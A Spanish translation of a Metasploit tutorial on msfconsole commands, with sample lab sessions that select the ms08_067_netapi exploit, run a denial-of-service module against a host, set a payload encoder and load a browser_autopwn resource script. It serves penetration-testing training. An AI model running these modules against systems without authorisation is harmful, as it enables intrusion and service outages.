msfconsole
La msfconsole es probablemente la interfaz mas popular de MSF. Ofrece una consola centralizada "todo-en-uno" y permite un acceso eficiente a todo las opciones disponibles en Metasploit Framework. Msfconsole puede parecer intimidante al principio, pero una vez que aprendes la sintaxis de los comandos aprenderás apreciar el poder de utilizar esta interfaz.
La interfaz msfconsole funciona bajo Windows con la version 3.3, sin embargo los usuarios de la version 3.2 tendrán que instalar manualmente el Framework bajo Cygwin, junto con la instalación de Ruby, o acceder al emulador de la consola a traves de la Web o por los componentes GUI.
Beneficios de msfconsole
- Es la única manera soportada para acceder a la mayoría de las funciones dentro de Metasploit.
- Proporciona una interfaz basada en consola al Framework.
- Contiene la mayoría de las características y es la interfaz mas estable de MSF.
- Soporte completo de edición de lineas (readline), tabulacion, y completacion de comandos.
- Es posible la ejecución de comandos externos a través de msfconsole.
msf > ping -c 1 192.168.1.2
[*] exec: ping -c 1 192.168.1.2
PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data.
64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=10.3 ms
--- 192.168.1.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms
msf >
Obteniendo ayuda.
Escribiendo "help" o "?" en el command pront de msf, mostrara una lista de los comandos disponibles junto una descripción de su uso.
msf > help
Core Commands
=============
Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
connect Communicate with a host
exit Exit the console
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
load Load a framework plugin
loadpath Searches for and loads modules from a path
quit Exit the console
resource Run the commands stored in a file
...snip...
Completacion con tab.Una de las características mas útiles de msfconsole es completacion con tab. Con la gran variedad de módulos disponibles, puede ser difícil recordar el nombre exacto y ruta de algún modulo en particular que se quiera usar. Como en la mayoría de los shells, escribiendo lo que sabes y presionando "Tab" le mostrara una lista de las opciones disponibles o se auto completara la palabra si hay una sola opción.
msf > use exploit/windows/smb/ms
use exploit/windows/smb/ms03_049_netapi
use exploit/windows/smb/ms04_007_killbill
use exploit/windows/smb/ms04_011_lsass
use exploit/windows/smb/ms04_031_netdde
use exploit/windows/smb/ms05_039_pnp
use exploit/windows/smb/ms06_025_rasmans_reg
use exploit/windows/smb/ms06_025_rras
use exploit/windows/smb/ms06_040_netapi
use exploit/windows/smb/ms06_066_nwapi
use exploit/windows/smb/ms06_066_nwwks
use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/msdns_zonename
msf > use exploit/windows/smb/ms08_067_netapi
Comando "show".Introduciendo "show" en el promt de msfconsole le mostrara cada modulo disponible en Metasploit.
msf > show
Encoders
========
Name Description
---- -----------
cmd/generic_sh Generic Shell Variable Substitution Command Encoder
generic/none The "none" Encoder
mipsbe/longxor XOR Encoder
...snip...
Hay una variedad de comandos "show" que puede utilizar, pero los que va a utilizar con mas frecuencia son "show auxiliary", "show exploits" y "show payloads".
Ejecutando "show auxiliary" mostrara una lista de todos los modulos auxiliares disponibles en Metasploit. El modulos Auxiliary incluye scanners, modulos de denial of service, fuzzers y mas.
msf > show auxiliary
Auxiliary
=========
Name Description
---- -----------
admin/backupexec/dump Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry Veritas Backup Exec Server Registry Access
admin/cisco/ios_http_auth_bypass Cisco IOS HTTP Unauthorized Administrative Access
...snip...
Naturalmente, "show exploits" sera el comando mas interesante de ser ejecutado ya que es el nucleo, Metasploit es todo sobre explotacion. Use "show exploits" para obtener una lista de todos los exploits contenidos en el framework.msf > show exploits
Exploits
========
Name Description
---- -----------
aix/rpc_ttdbserverd_realpath ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow
bsdi/softcart/mercantec_softcart Mercantec SoftCart CGI Overflow
...snip...
Ejecutando "show payloads" mostrara todos los diferentes payloads para todas las plataformas disponibles en Metasploit. msf > show payloads
Payloads
========
Name Description
---- -----------
aix/ppc/shell_bind_tcp AIX Command Shell, Bind TCP Inline
aix/ppc/shell_find_port AIX Command Shell, Find Port Inline
aix/ppc/shell_reverse_tcp AIX Command Shell, Reverse TCP Inline
...snip...
Asi como ve, hay muchos payloads disponibles. Afortunadamente cuando esta usando determinado exploit, usando "show payloads" solo mostrara los payloads que son compatibles para ese particular exploit. Por ejemplo, si es un exploit para Windows, no se mostraran los payloads para Linux.
msf exploit(ms08_067_netapi) > show payloads
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap Generic x86 Debug Trap
generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6)
generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX or Win7)
...snip...
Si ha seleccionado un modulo especifico, puede utilizar el comando "show options" para mostrar las opciones disponibles y/o requeridas para ese modulo en especifico.
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
Si no esta seguro si un sistema operativo es vulnerable a un particular exploit, ejecute el comando "show targets" dentro del contexto de un modulo de exploit para ver que objetivos están soportados.
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
...snip...
Si desea seguir mejorando un exploit, puede ver las opciones avanzadas ejecutando "show advanced".
msf exploit(ms08_067_netapi) > show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
...snip...
Comando "search".
El msfconsole incluye una funcionalidad de búsqueda basada en expresiones regulares. Si tiene alguna idea general de lo que esta buscando, puede buscarlo con "search". En la salida de abajo, una búsqueda se hizo para MS Bulletin MS09-011. Esta funcionalidad de búsqueda localizara esta cadena de texto dentro del modulo de referencia.
Tenga en cuenta la nomenclatura que se usa en los módulos de Metasploit, subrayas (underscore) en vez de guiones.
msf > search ms09-001
[*] Searching loaded modules for pattern 'ms09-001'...
Auxiliary
=========
Name Description
---- -----------
dos/windows/smb/ms09_001_write Microsoft SRV.SYS WriteAndX Invalid DataOffset
Comando "info".
EL comando "info" proporciona informacion detallada sobre un determinado modulo incluyendo todas las opciones, objetivos, y otras informaciones.
msf > info dos/windows/smb/ms09_001_write
Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
Version: 6890
License: Metasploit Framework License (BSD)
Provided by:
j.v.vallejo
Comando "use".
Cuando se ha decidido por un modulo en particular, utilice el comando "use" para seleccionarlo.
msf > use dos/windows/smb/ms09_001_write
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
msf auxiliary(ms09_001_write) >
Comando "connect".
Utilizando el comando "connect" con una dirección IP y un numero de puerto, se puede conectar a un host remoto desde msfconsole igual como si usara netcat o telnet.
msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
ÿýÿýÿý!ÿûÿû
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
ÿ
DD-WRT login:
Comando "set".
El comando "set" es usado para configurar las opciones del modulo que actualmente se esta utilizando.
msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes Set the SMB service port
Una reciente funcionalidad añadida a Metasploit es la habilidad de establecer un encoder o codificador para ser usado. Esto particularmente es util en el desarrollo de un exploit cuando no esta muy seguro que metodo de codificacion de payload funcionara con un exploit.
msf exploit(ms08_067_netapi) > show encoders
Compatible encoders
===================
Name Description
---- -----------
cmd/generic_sh Generic Shell Variable Substitution Command Encoder
generic/none The "none" Encoder
mipsbe/longxor XOR Encoder
mipsle/longxor XOR Encoder
php/base64 PHP Base64 encoder
ppc/longxor PPC LongXOR Encoder
ppc/longxor_tag PPC LongXOR Encoder
sparc/longxor_tag SPARC DWORD XOR Encoder
x64/xor XOR Encoder
x86/alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower Avoid UTF8/tolower
x86/call4_dword_xor Call+4 Dword XOR Encoder
x86/countdown Single-byte XOR Countdown Encoder
x86/fnstenv_mov Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive Polymorphic Jump/Call XOR Additive Feedback Encoder
x86/nonalpha Non-Alpha Encoder
x86/nonupper Non-Upper Encoder
x86/shikata_ga_nai Polymorphic XOR Additive Feedback Encoder
x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder
msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai
encoder => x86/shikata_ga_nai
Comando "check".
No hay muchos exploits que lo soporten, pero hay una opcion de "check" la cual comprueba si el objetivo es vulnerable a un exploit en particular en lugar de explotarla.
msf exploit(ms04_045_wins) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.114 yes The target address
RPORT 42 yes The target port
Exploit target:
Id Name
-- ----
0 Windows 2000 English
msf exploit(ms04_045_wins) > check
[-] Check failed: The connection was refused by the remote host (192.168.1.114:42)
Configuración de variables globales.
Con el fin de no escribir mucho durante un pentest, puede establecer variables globales dentro de msfconsole. Puede hacer esto con el comando "setg". Una vez que se a establecido, lo puede usar en muchos exploits y módulos auxiliares como le guste. Tambien lo puede guardar para usarlo la proxima vez cuando ejecute msfconsole. Sin embargo, ciertos datos no son guardados, así que siempre revise sus opciones antes de usar "run" o "exploit". Por el contrario puede usar el comando "unsetg" para eliminar una variable global. En los ejemplos siguientes, las variables se registran todas en mayúsculas (Ejem: LHOST), pero Metasploit no es sensible a las mayúsculas así que no es necesario hacerlo.
msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136
msf > save
Saved configuration to: /root/.msf3/config
msf >
Comando "exploit/run".
Cuando lanza un exploit, puede usar el comando "exploit" mientras que si usa un modulo auxiliar, el uso correcto es "run" aunque "exploit" funciona tan bien.
msf auxiliary(ms09_001_write) > run
Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
datalenlow=25535 dataoffset=65535 fillersize=72
rescue
...snip...
Comando "back".
Cuando haya terminado de usar un modulo, o si selecciona el modulo equivocado, puede usar el comando "back" para salir de ese contexto. Esto, sin embargo no es requerido. Así como con los routers comerciales, que puede cambiar módulos dentro de otros. Como recordatorio, las variables son cambiadas si son establecidas globalmente.
msf auxiliary(ms09_001_write) > back
msf >
Comando "resource".
Algunos ataques como Karmetasploit usan archivos adicionales que se pueden cargar a través de msfconsole usando el comando "resource". Estos archivos son unos scripts básicos para msfconsole. Ejecutan los comandos del archivo en secuencia. Mas adelante lo discutiremos, fuera de Karmetasploit, esto puede ser muy útil.
msf > resource karma.rc
resource> load db_sqlite3
[-]
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-]
[-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
...snip...
Comando "irb".
Si ejecutamos el comando "irb", cambiara al modo de edición de scripts en ruby, donde podrá usar comandos y crear scripts en el momento.
msf > irb
[*] Starting IRB shell...
>> puts "Hello, metasploit!"
Hello, metasploit!
- Original by www.offensive-security.com
- Traslated by Jhyx
0 comentarios:
Publicar un comentario